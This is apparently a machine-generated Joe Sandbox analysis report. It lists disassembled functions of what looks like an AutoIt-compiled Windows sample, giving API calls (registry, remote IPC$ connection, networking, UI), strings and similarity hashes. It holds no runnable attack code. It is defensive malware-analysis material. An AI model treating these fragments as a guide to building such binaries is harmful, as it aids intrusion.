Function 000E77DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00097BCC: _memmove.LIBCMT ref: 00097C06

_memset.LIBCMT ref: 000E786B
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 000E78A0
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 000E78BC
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 000E78D8
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 000E7902
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 000E792A
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 000E7935
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 000E793A

Strings

\CLSID, xrefs: 000E7822
SOFTWARE\Classes\, xrefs: 000E780C
\IPC$, xrefs: 000E7882

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: a1f7e37509457df6970051c4edda0238cbf0683c35099c9eea2e273601dd1d9e
Instruction ID: 4400303a23b83c1d07506e807542bc3869ce84516b9ab484743646e0c7fc11f9
Opcode Fuzzy Hash: a1f7e37509457df6970051c4edda0238cbf0683c35099c9eea2e273601dd1d9e
Instruction Fuzzy Hash: 9541E57281422DABDF15EBA5DC85DEDB7B8BF18310F444069F909A21A2EB309E05DB90

Function 00110E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0010FDAD,?,?), ref: 00110E31

Strings

HKEY_CURRENT_CONFIG, xrefs: 00110EEE
HKU, xrefs: 00110F43
HKLM, xrefs: 00110EAF
HKEY_USERS, xrefs: 00110F32
HKEY_LOCAL_MACHINE, xrefs: 00110E9A
HKEY_CLASSES_ROOT, xrefs: 00110EC4
HKCR, xrefs: 00110ED9
HKEY_CURRENT_USER, xrefs: 00110F10
HKCC, xrefs: 00110EFF
HKCU, xrefs: 00110F21

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 55387cb1a732173118e86c62ae29d46b701e3c26f8342e3d329cce8ce353970b
Instruction ID: e2479f7c29410c561bda7af5739298d8637c4d2332e320793462b11476c6b13b
Opcode Fuzzy Hash: 55387cb1a732173118e86c62ae29d46b701e3c26f8342e3d329cce8ce353970b
Instruction Fuzzy Hash: 71418F3150024A8BCF19EF10DA56AEF3760FF15300F254825FC552B2A2DB709D9BCBA1

Function 000EF7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,000CE2A0,00000010,?,Bad directive syntax error,0011F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 000EF7C2
LoadStringW.USER32(00000000,?,000CE2A0,00000010), ref: 000EF7C9

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

_wprintf.LIBCMT ref: 000EF7FC
__swprintf.LIBCMT ref: 000EF81E
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 000EF88D

Strings

Line %d (File "%s"):, xrefs: 000EF833
., xrefs: 000EF873
%s (%d) : ==> %s.: %s %s, xrefs: 000EF7F7
Error: , xrefs: 000EF85B
Line %d:, xrefs: 000EF818

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: d5fe2c1248eb0b9447de57f0739bd8cc88b2007f605ddc2af1346c3ff9a1d7bf
Instruction ID: c4f079865a3cb4189a597a3fd4a8dd54fd56482fccf0a9f7485f767f2e02a464
Opcode Fuzzy Hash: d5fe2c1248eb0b9447de57f0739bd8cc88b2007f605ddc2af1346c3ff9a1d7bf
Instruction Fuzzy Hash: 2A214D3291021EAFCF16EF90CC4AEFE7779BF18300F04446AB519660A2EB71A658DB50

Function 000F52C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00097BCC: _memmove.LIBCMT ref: 00097C06

Part of subcall function 00097924: _memmove.LIBCMT ref: 000979AD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 000F5330
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 000F5346
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 000F5357
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 000F5369
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 000F537A

Strings

status PlayMe mode, xrefs: 000F532B
close PlayMe, xrefs: 000F5341, 000F536E
alias PlayMe, xrefs: 000F5309
play PlayMe, xrefs: 000F5375
play PlayMe wait, xrefs: 000F5364
open , xrefs: 000F52DF

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 3afd0b220336c63c6d88f6ce26750b13c1af08d4f71c4ee0046a13b15008a5e0
Instruction ID: 85d4d859e7ae81ae3ff2fc04f0e9ed9071319bcce767e94e0aec6484c409249e
Opcode Fuzzy Hash: 3afd0b220336c63c6d88f6ce26750b13c1af08d4f71c4ee0046a13b15008a5e0
Instruction Fuzzy Hash: 63110471AA012D79DB60B775DC5ADFF7BBCEB95B41F000429B505A20E2EEA00D04D5A0

Function 000F46B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 000F46D2
gethostname.WSOCK32(?,00000100), ref: 000F46EC
gethostbyname.WSOCK32(?), ref: 000F46F9
_wcscpy.LIBCMT ref: 000F4721
_memmove.LIBCMT ref: 000F4734
inet_ntoa.WSOCK32(?), ref: 000F473F
_strcat.LIBCMT ref: 000F474D
_wcscpy.LIBCMT ref: 000F4764
WSACleanup.WSOCK32 ref: 000F4772
_wcscpy.LIBCMT ref: 000F4780

Strings

0.0.0.0, xrefs: 000F471B

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: a79e2ba0d750c1288ad09c56358e8531439d9642ce04638b3359fd1f66d58f64
Instruction ID: 351ba8fa1c23f0070bdd41bc1ef9686c8f149aab134e7cf6bef47404bc0d9c0d
Opcode Fuzzy Hash: a79e2ba0d750c1288ad09c56358e8531439d9642ce04638b3359fd1f66d58f64
Instruction Fuzzy Hash: 8A11E7315082186FCB24BB349C4AEEF77BCEF01711F0441BAF94596492EF70DAC29A50

Function 000F4F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 000F4F7A

Part of subcall function 000B049F: timeGetTime.WINMM(?,75A4B400,000A0E7B), ref: 000B04A3

Sleep.KERNEL32(0000000A), ref: 000F4FA6
EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 000F4FCA
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 000F4FEC
SetActiveWindow.USER32 ref: 000F500B
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 000F5019
SendMessageW.USER32(00000010,00000000,00000000), ref: 000F5038
Sleep.KERNEL32(000000FA), ref: 000F5043
IsWindow.USER32 ref: 000F504F
EndDialog.USER32(00000000), ref: 000F5060

Strings

BUTTON, xrefs: 000F4FDE

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: ff4633448dfc61b5edc9868917e5dac4d5ad7846cb8a292a6bf4cfc7e2961ae7
Instruction ID: 46e028f60026512af134b727ff9efa0a1891650006fa4103860cfcf14d645aa5
Opcode Fuzzy Hash: ff4633448dfc61b5edc9868917e5dac4d5ad7846cb8a292a6bf4cfc7e2961ae7
Instruction Fuzzy Hash: 1F21CF70240709EFE7119F20ED88AB63BAAEB44386F045138F70586DB1DB718DD5EAA1

Function 000FD58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

CoInitialize.OLE32(00000000), ref: 000FD5EA
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 000FD67D
SHGetDesktopFolder.SHELL32(?), ref: 000FD691
CoCreateInstance.OLE32(00122D7C,00000000,00000001,00148C1C,?), ref: 000FD6DD
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 000FD74C
CoTaskMemFree.OLE32(?,?), ref: 000FD7A4
_memset.LIBCMT ref: 000FD7E1
SHBrowseForFolderW.SHELL32(?), ref: 000FD81D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 000FD840
CoTaskMemFree.OLE32(00000000), ref: 000FD847
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 000FD87E
CoUninitialize.OLE32(00000001,00000000), ref: 000FD880

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 18d50050a471bbd9140851a920a3b9e5adf8d5fc3cec20f5c2963d3f40b19941
Instruction ID: 20537cb500ca54bd470b34512f76ca22a301b8ed4f5254a92c8365dfcae2b656
Opcode Fuzzy Hash: 18d50050a471bbd9140851a920a3b9e5adf8d5fc3cec20f5c2963d3f40b19941
Instruction Fuzzy Hash: 86B1E975A00109AFDB04DFA8C888DAEBBF9FF48314F148469E909EB261DB31ED45DB50

Function 000EC267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 000EC283
GetWindowRect.USER32(00000000,?), ref: 000EC295
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 000EC2F3
GetDlgItem.USER32(?,00000002), ref: 000EC2FE
GetWindowRect.USER32(00000000,?), ref: 000EC310
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 000EC364
GetDlgItem.USER32(?,000003E9), ref: 000EC372
GetWindowRect.USER32(00000000,?), ref: 000EC383
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 000EC3C6
GetDlgItem.USER32(?,000003EA), ref: 000EC3D4
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 000EC3F1
InvalidateRect.USER32(?,00000000,00000001), ref: 000EC3FE

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: bb5d21980e30d8f99bf727eff856ff0b63b058ab4d7cc026b6ddd09b74aac2c3
Instruction ID: be1d9e9502589e598bc5fa3bcdb728eb75f97952b09a91b0a50eba7e1742dbd0
Opcode Fuzzy Hash: bb5d21980e30d8f99bf727eff856ff0b63b058ab4d7cc026b6ddd09b74aac2c3
Instruction Fuzzy Hash: 96513C71B00205AFDB18CFA9DD89EAEBBBAFB88710F14812DF615E6290D7719D41CB10

Function 0009201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00091B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00092036,?,00000000,?,?,?,?,000916CB,00000000,?), ref: 00091B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 000920D3
KillTimer.USER32(-00000001,?,?,?,?,000916CB,00000000,?,?,00091AE2,?,?), ref: 0009216E
DestroyAcceleratorTable.USER32(00000000), ref: 000CBCA6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,000916CB,00000000,?,?,00091AE2,?,?), ref: 000CBCD7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,000916CB,00000000,?,?,00091AE2,?,?), ref: 000CBCEE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,000916CB,00000000,?,?,00091AE2,?,?), ref: 000CBD0A
DeleteObject.GDI32(00000000), ref: 000CBD1C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: e82479b90b760af4181ebbead06860e6f474de4f61841cd2d217ce69e5684750
Instruction ID: 09e28df5f0d33f6b9ef050574dcf1ef113e07b5697d9665d561142aaa58e899d
Opcode Fuzzy Hash: e82479b90b760af4181ebbead06860e6f474de4f61841cd2d217ce69e5684750
Instruction Fuzzy Hash: 9A618B31500B00EFCB399F15DA59B6AB7F2FF94312F50852CE5428AA71C770A8D1EB90

Function 000921A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 000925DB: GetWindowLongW.USER32(?,000000EB), ref: 000925EC

GetSysColor.USER32(0000000F), ref: 000921D3

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 09476bc0b7643ea0a7796bd2e9929d89849548b18db7c04cadea1061ebef6033
Instruction ID: fbf5be5ec7071f47e6fa77a3cdcb1ed95d993123bfe63d48a0854179c11dc787
Opcode Fuzzy Hash: 09476bc0b7643ea0a7796bd2e9929d89849548b18db7c04cadea1061ebef6033
Instruction Fuzzy Hash: 3E419631104540FBDF695F28EC88BF93BA6EB06731F144269FD658A1E2C7318C82EB11

Function 000FA8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,0011F910), ref: 000FA90B
GetDriveTypeW.KERNEL32(00000061,001489A0,00000061), ref: 000FA9D5
_wcscpy.LIBCMT ref: 000FA9FF

Strings

removable, xrefs: 000FA93D
all, xrefs: 000FA911
cdrom, xrefs: 000FA927
network, xrefs: 000FA969
fixed, xrefs: 000FA953
unknown, xrefs: 000FA996
ramdisk, xrefs: 000FA97F

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: bb33c3a1716212b0295b9ea76139ed62298f553037ac2d44229d9dcc9dfe7f5d
Instruction ID: 34b7c9edc5aded9365ae8221193813b912714d839c0d76084f000d31861b937d
Opcode Fuzzy Hash: bb33c3a1716212b0295b9ea76139ed62298f553037ac2d44229d9dcc9dfe7f5d
Instruction Fuzzy Hash: 9251BA71218304ABC714EF14C992AFFB7E5EF86304F10482DF69A572A2DB709909DA53

Function 00099837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00099862
__swprintf.LIBCMT ref: 000998AC
__i64tow.LIBCMT ref: 000CF5E6

Strings

False, xrefs: 000CF5AE
0x%p, xrefs: 000CF5C8
%.15g, xrefs: 000998A6
True, xrefs: 000CF5A7

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: c6729462048bc1af2771caeb3ac6c3ca8cebdc14a897bc1aba5e89f74d88a593
Instruction ID: 4b06fc6afa0afdbb48a99932f8474543c0d85531de7e9228dd51e862fd9db7ee
Opcode Fuzzy Hash: c6729462048bc1af2771caeb3ac6c3ca8cebdc14a897bc1aba5e89f74d88a593
Instruction Fuzzy Hash: 3C41B471600606AFEF24DF38D842FBE73E9EF05300F24446EE649D7292EE31A9419B11

Function 00117152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0011716A
CreateMenu.USER32 ref: 00117185
SetMenu.USER32(?,00000000), ref: 00117194
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00117221
IsMenu.USER32(?), ref: 00117237
CreatePopupMenu.USER32 ref: 00117241
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0011726E
DrawMenuBar.USER32 ref: 00117276

Strings

F, xrefs: 00117262
0, xrefs: 00117160

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: b02cd5a393addf4f2238e7608df9be8e4f195fd1c23e62d1671d6b21ad70f1f2
Instruction ID: b0b36418b0a0cfe25460e93fb62ec9eaaee02d1a5fe8cdc364a0ae3b86df0599
Opcode Fuzzy Hash: b02cd5a393addf4f2238e7608df9be8e4f195fd1c23e62d1671d6b21ad70f1f2
Instruction Fuzzy Hash: CD413474A01209EFDB28DFA4D984EDABBF6FF48350F144028F905A73A1D731A951CB90

Function 001174BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0011755E
CreateCompatibleDC.GDI32(00000000), ref: 00117565
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00117578
SelectObject.GDI32(00000000,00000000), ref: 00117580
GetPixel.GDI32(00000000,00000000,00000000), ref: 0011758B
DeleteDC.GDI32(00000000), ref: 00117594
GetWindowLongW.USER32(?,000000EC), ref: 0011759E
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 001175B2
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 001175BE

Strings

static, xrefs: 001174F6

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 8b072e8ef0b01a8dfd9b9ed82f5af1e1623f97b1b08f6041d76f1781360f2ef6
Instruction ID: b18579bee9c423ac087fb4f8238d6d50d9a527807daafc2120fcaae3a0e1d6b7
Opcode Fuzzy Hash: 8b072e8ef0b01a8dfd9b9ed82f5af1e1623f97b1b08f6041d76f1781360f2ef6
Instruction Fuzzy Hash: 42316B72105215BBDF1A9F64DC48FEA3B7AFF09360F114228FA15A61E0C731D892DBA4

Function 000B6E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000B6E3E

Part of subcall function 000B8B28: __getptd_noexit.LIBCMT ref: 000B8B28

__gmtime64_s.LIBCMT ref: 000B6ED7
__gmtime64_s.LIBCMT ref: 000B6F0D
__gmtime64_s.LIBCMT ref: 000B6F2A
__allrem.LIBCMT ref: 000B6F80
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 000B6F9C
__allrem.LIBCMT ref: 000B6FB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 000B6FD1
__allrem.LIBCMT ref: 000B6FE8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 000B7006
